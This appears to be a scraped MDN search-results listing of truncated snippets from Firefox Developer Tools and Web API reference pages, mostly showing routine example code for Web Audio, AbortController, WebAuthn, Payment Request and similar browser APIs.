if the native file is located at chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so then it is converted to a file uri like this: components.utils.import("resource://gre/modules/services.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getservice(components.interfaces.nsichromeregistry); var chromeuri_mylib = services.io.newuri('chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var localfile_mylib = cr.convertchromeurl(chromeuri_mylib); var jarpath_mylib = localfile_mylib.spec; // "jar:file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" var filepath_mylib = localfilemylib.pat...
CType
methods available on all ctype objects array() returns a new ctype representing an array of elements of the type on which it was called.
PKCS #11 Netscape Trust Objects - Network Security Services
this is not a new design, but documentation of the method already in use.
Version, UI, and Status Information - Plugins
this causes the browser to install a new plug-in and load it, or remove a plug-in, without having to restart.
Plugins
new content should not be written using flash or any other plugin technology.
Accessibility Inspector - Firefox Developer Tools
print accessibility tree to json you can print the contents of the accessibility tree to json by right-clicking on an entry in the accessibility tab and selecting print to json: when you do, you will get a new tab with the selected accessibility tree loaded into the json viewer: once opened, you can save or copy the data as necessary.
DOM Inspector internals - Firefox Developer Tools
viewers are dynamically loaded; when the panel is made to switch from one viewer to another, the old viewer is destroyed, and the new viewer is loaded in its place.
Inspecting web app manifests - Firefox Developer Tools
it provides a link to the manifest file at the top which when clicked on brings up the json in a new tab.
DOM Property Viewer - Firefox Developer Tools
the dom property viewer is new in firefox 48.
Access debugging in add-ons - Firefox Developer Tools
don't write new add-ons that use these techniques.
Pretty-print a minified file - Firefox Developer Tools
the debugger formats the source and displays it as a new file with a name like: "{ } [original-name]".
Set an XHR breakpoint - Firefox Developer Tools
inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through.
Source map errors - Firefox Developer Tools
note: if you're new to source maps, you can learn more about them in how to use a source map.
UI Tour - Firefox Developer Tools
note: if you click step over (f10) after changing the selected line in the source pane, the debugger executes until reaching the line following the newly-selected line (disregarding whatever line the debugger originally stopped at).
Debugger-API - Firefox Developer Tools
you can set functions to be called when new stack frames are pushed; when new code is loaded; and so on.
Eyedropper - Firefox Developer Tools
the eyedropper is new in firefox 31.
JSON viewer - Firefox Developer Tools
the json viewer is new in firefox 44.
Basic operations - Firefox Developer Tools
on the left, you'll see an entry for the new snapshot, including its timestamp, size, and controls to save or clear this snapshot: clearing a snapshot to remove a snapshot, click the "x" icon: saving and loading snapshots if you close the memory tool, all unsaved snapshots will be discarded.
Monster example - Firefox Developer Tools
0; j &lt; namelength; j++) { name += chars[randomint(0, chars.length-1)]; } return name; } this.name = randomname(); this.eyecount = randomint(0, 25); this.tentaclecount = randomint(0, 250); } function makemonsters() { var monsters = { "friendly": [], "fierce": [], "undecided": [] }; for (var i = 0; i &lt; monster_count; i++) { monsters.friendly.push(new monster()); } for (var i = 0; i &lt; monster_count; i++) { monsters.fierce.push(new monster()); } for (var i = 0; i &lt; monster_count; i++) { monsters.undecided.push(new monster()); } console.log(monsters); } var makemonstersbutton = document.getelementbyid("make-monsters"); makemonstersbutton.addeventlistener("click", makemonsters); the page contains a button: when you ...
Tree map view - Firefox Developer Tools
the tree map view is new in firefox 48.
Memory - Firefox Developer Tools
the basics opening the memory tool taking a heap snapshot comparing two snapshots deleting snapshots saving and loading snapshots recording call stacks analyzing snapshots the tree map view is new in firefox 48, and the dominators view is new in firefox 46.
Network monitor toolbar - Firefox Developer Tools
throttling menu, to simulate various connection types a menu of other actions: persist logs: by default, the network monitor is cleared each time you navigate to a new page or reload the current page.
Page inspector 3-pane mode - Firefox Developer Tools
feature summary from firefox 62 onwards, the page inspector has a new mode available — 3-pane mode.
Inspect and select colors - Firefox Developer Tools
the color picker includes an eyedropper icon: clicking this icon enables you to use the eyedropper to select a new color for the element from the page: clicking the color sample while holding down the shift key changes the color format: ...
Reposition elements in the page - Firefox Developer Tools
new in firefox 48 starting in firefox 48 you can move absolutely positioned elements by dragging them around the page.
UI Tour - Firefox Developer Tools
as new browser versions are released, the version numbers in this list will be updated.
Paint Flashing Tool - Firefox Developer Tools
after moving the mouse around and scrolling a bit, the above page looks like this: in this example, there are two main sources of repaints: moving the mouse over links makes the browser repaint them, because they have a style applied using the :hover pseudo-class scrolling makes the browser repaint the new part of the page coming into view at the bottom of the screen, and also the scrollbar at the top-right to deactivate paint flashing, click the "highlight painted area" icon in the toolbox again.
Call Tree - Firefox Developer Tools
this screenshot tells us something we probably already knew: bubble sort is a very inefficient algorithm.
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance" from tools button, in the toolbar, if you have one: record a profile to start a new recording, press the stopwatch icon in the recordings pane.
Animating CSS properties - Firefox Developer Tools
animating using transform now switch the radio button in the web page to "use transform", and make a new recording.
UI Tour - Firefox Developer Tools
allocations the allocations view is new in firefox 46.
Rulers - Firefox Developer Tools
behavior to keep in mind when using rulers: the rulers command must be reapplied in new tabs and after each page refresh.
Local Storage / Session Storage - Firefox Developer Tools
finally, you can add new storage items by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
Tips - Firefox Developer Tools
click the import button () to import a style sheet or the create button () to create a new one.
Validators - Firefox Developer Tools
tune-up wizard links back to devedge if you're writing new code that isn't validating immediately, see the available standards-compliant authoring and development tools.
View Source - Firefox Developer Tools
to activate view source: context-click in the page and select view page source press ctrl + u on windows and linux, or cmd + u on macos the command opens a new tab with the source for the current page.
Web console keyboard shortcuts - Firefox Developer Tools
gh matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expression enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocompl...
AbortController.abort() - Web APIs
var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbortController.signal - Web APIs
var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbortSignal - Web APIs
var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbstractWorker.onerror - Web APIs
}; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker = new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
Accelerometer.x - Web APIs
WebAPIAccelerometerx
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api ...
Accelerometer.y - Web APIs
WebAPIAccelerometery
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api ...
Accelerometer.z - Web APIs
WebAPIAccelerometerz
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api ...
AesCtrParams - Web APIs
each time a new message is to be encrypted, a new nonce is chosen.
AmbientLightSensor.illuminance - Web APIs
example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Animation.currentTime - Web APIs
syntax var currenttime = animation.currenttime; animation.currenttime = newtime; value a number representing the current time in milliseconds, or null to deactivate the animation.
Animation.id - Web APIs
WebAPIAnimationid
syntax var animationsid = animation.id; animation.id = newidstring; value a domstring which can be used to identify the animation, or null if the animation has no id.
Animation.oncancel - Web APIs
the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a new animation that is initially idle does not trigger a cancel event on the new animation.
Animation.playState - Web APIs
syntax var currentplaystate = animation.playstate; animation.playstate = newstate; value idle the current time of the animation is unresolved and there are no pending tasks.
Animation.playbackRate - Web APIs
syntax var currentplaybackrate = animation.playbackrate; animation.playbackrate = newrate; value takes a number that can be 0, negative, or positive.
Animation.ready - Web APIs
WebAPIAnimationready
a new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be started again.
Animation.timeline - Web APIs
syntax var animationstimeline = animation.timeline; animation.timeline = newtimeline; value a timeline object to use as the timing source for the animation, or null to use the default, which is the document's timeline.
Animation.updatePlaybackRate() - Web APIs
syntax animation.updateplaybackrate(2); parameters playbackrate the new speed to set.
Animation - Web APIs
WebAPIAnimation
constructor animation() creates a new animation object instance.
AnimationPlaybackEvent - Web APIs
constructor animationplaybackevent.animationplaybackevent() constructs a new animationplaybackevent object instance.
AudioBuffer.copyToChannel() - Web APIs
example var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array; // copy channel data from second channel of myarraybuffer.
AudioBuffer.getChannelData() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarray...
AudioBufferSourceNode.detune - Web APIs
example const audioctx = new audiocontext(); const channelcount = 2; const framecount = audioctx.samplerate * 2.0; // 2 seconds const myarraybuffer = audioctx.createbuffer(channelcount, framecount, audioctx.samplerate); for (let channel = 0; channel < channelcount; channel++) { const nowbuffering = myarraybuffer.getchanneldata(channel); for (let i = 0; i < framecount; i++) { nowbuffering[i] = math.random() * 2 - 1...
AudioBufferSourceNode.loop - Web APIs
you can run the full example live (or view the source.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); ...
AudioBufferSourceNode.loopEnd - Web APIs
function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; ...
AudioBufferSourceNode.loopStart - Web APIs
function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; s...
AudioBufferSourceNode.playbackRate - Web APIs
<input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"> <span class="playback-rate-value">1.0</span> function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); ...
AudioContext.baseLatency - Web APIs
example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification.
AudioContext.outputLatency - Web APIs
example const audioctx = new audiocontext(); console.log(audioctx.outputlatency); specifications specification status comment web audio apithe definition of 'outputlatency' in that specification.
AudioContext.suspend() - Web APIs
syntax var audioctx = new audiocontext(); audioctx.suspend().then(function() { ...
AudioContextLatencyCategory - Web APIs
audiocontextlatencycategory can be used when constructing a new audiocontext by passing one of these values as the latencyhint option in the audiocontext() constructor's options dictionary.
AudioDestinationNode - Web APIs
their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or violent theremin.
AudioNode.channelCount - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcount; specifications specification status comment web audio apithe definition of 'channelcount' in that specification.
AudioNode.channelCountMode - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcountmode = 'explicit'; specifications specification status comment web audio apithe definition of 'channelcountmode' in that specification.
AudioNode.context - Web APIs
WebAPIAudioNodecontext
example const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.context); // audiocontext console.log(oscillator.context === audioctx); // true specifications specification status comment web audio apithe definition of 'context' in that specificat...
AudioNode.disconnect() - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); gainnode.disconnect(); specifications specification status comment web audio apithe definition of 'disconnect' in that specification.
AudioNode.numberOfInputs - Web APIs
example const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofinputs); // 0 console.log(gainnode.numberofinputs); // 1 console.log(audioctx.destination.numberofinputs); // 1 specifications specification status comment web audio apithe definition of 'numberofinputs' in that specification.
AudioNode.numberOfOutputs - Web APIs
example const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofoutputs); // 1 console.log(gainnode.numberofoutputs); // 1 console.log(audioctx.destination.numberofoutputs); // 0 specifications specification status comment web audio apithe definition of 'numberofoutputs' in that specification.
AudioNodeOptions - Web APIs
the audionodeoptions dictionary of the web audio api specifies options that can be used when creating new audionode objects.
AudioParam.defaultValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); const defaultval = gainnode.gain.defaultvalue; console.log(defaultval); // 1 console.log(defaultval === gainnode.gain.value); // true specifications specification status comment web audio apithe definition of 'defaultvalue' in that specification.
AudioParam.maxValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.maxvalue); // 3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'maxvalue' in that specification.
AudioParam.minValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.minvalue); // -3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'minvalue' in that specification.
AudioParam.setTargetAtTime() - Web APIs
// create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var attimeplus = document.queryselector('.at-time-plus'); var attimeminus = document.queryselector('.at-time-minus'); // create a mediaelementaudiosourcenode // feed the h...
AudioParamDescriptor - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.lin...
AudioProcessingEvent - Web APIs
note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', tru...
AudioScheduledSourceNode.start() - Web APIs
context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of 'start()' in that specification.
AudioScheduledSourceNode.stop() - Web APIs
context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* let's play a sine wave for one second.
AudioTrackList.onchange - Web APIs
to determine the new state of media's tracks, you'll have to look at their audiotrack.enabled flags.
AudioWorkletGlobalScope - Web APIs
we should see the output of console.log calls in the console: const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor') testnode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletglobalscope' in that specification.
AudioWorkletNode.parameters - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.lin...
AudioWorkletNode.port - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) p...
AudioWorkletNodeOptions - Web APIs
the audioworkletnodeoptions dictionary of the web audio api is used to specify configuration options when constructing a new audioworkletnode object for custom audio processing.
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.lin...
AudioWorkletProcessor.port - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) p...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
examples var options = { challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var authenticatordata = assertionpkcred.response.authenticatordata; // maybe try to convert the authenticatordata to see what's inside // send response and client extensions to the server so that it...
AuthenticatorAssertionResponse.signature - Web APIs
examples var options = { challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var signature = assertionpkcred.response.signature; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(e...
AuthenticatorAssertionResponse.userHandle - Web APIs
username, e-mail, phone number, etc.) examples var options = { challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var userhandle = assertionpkcred.response.userhandle; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error...
AuthenticatorAssertionResponse - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { conso...
AuthenticatorAttestationResponse.getTransports() - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).ca...
BaseAudioContext.createBiquadFilter() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastre...
BaseAudioContext.createChannelMerger() - Web APIs
var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gai...
BaseAudioContext.createChannelSplitter() - Web APIs
var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gai...
BaseAudioContext.createDelay() - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ...
BaseAudioContext.createGain() - Web APIs
the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsou...
BaseAudioContext.createOscillator() - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition ...
BaseAudioContext.createPeriodicWave() - Web APIs
var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by d...
BaseAudioContext.createScriptProcessor() - Web APIs
note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', tru...
BaseAudioContext.createStereoPanner() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var myaudio = document.queryselector('audio'); var pancontrol = document.queryselector('.panning-control'); var panvalue = document.queryselector('.panning-value'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // cre...
BaseAudioContext.currentTime - Web APIs
syntax var curtime = baseaudiocontext.currenttime; example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ...
BaseAudioContext.destination - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillatornode.connect(gainnode); gainnode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'destination' in that specification.
BaseAudioContext.listener - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ...
BaseAudioContext.sampleRate - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ...
BasicCardRequest.supportedNetworks - Web APIs
}; var request = new paymentrequest(supportedinstruments, details, options); specifications specification status comment basic card paymentthe definition of 'supportednetworks' in that specification.
BasicCardRequest.supportedTypes - Web APIs
}; var request = new paymentrequest(supportedinstruments, details, options); ...
BasicCardResponse.billingAddress - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
BasicCardResponse.cardNumber - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
BasicCardResponse.cardSecurityCode - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
BasicCardResponse.cardholderName - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
BasicCardResponse.expiryMonth - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
BasicCardResponse.expiryYear - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
Battery Status API - Web APIs
the battery status api extends window.navigator with a navigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
Using the Beacon API - Web APIs
this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; } this code snippet is for the wor...
BeforeInstallPromptEvent - Web APIs
="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeinstallpromptevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor beforeinstallpromptevent() creates a new beforeinstallpromptevent.
BiquadFilterNode.getFrequencyResponse() - Web APIs
we first create the float32arrays we need, one containing the input frequencies, and two to receive the output magnitude and phase values: var myfrequencyarray = new float32array(5); myfrequencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>biquad filter frequency response...
Blob.stream() - Web APIs
WebAPIBlobstream
this returns an array containing two new readablestream objects, each of which returns the contents of the blob.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg.
BroadcastChannel.close() - Web APIs
syntax var str = channel.close(); example // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.close()' in that specification.
BroadcastChannel: messageerror event - Web APIs
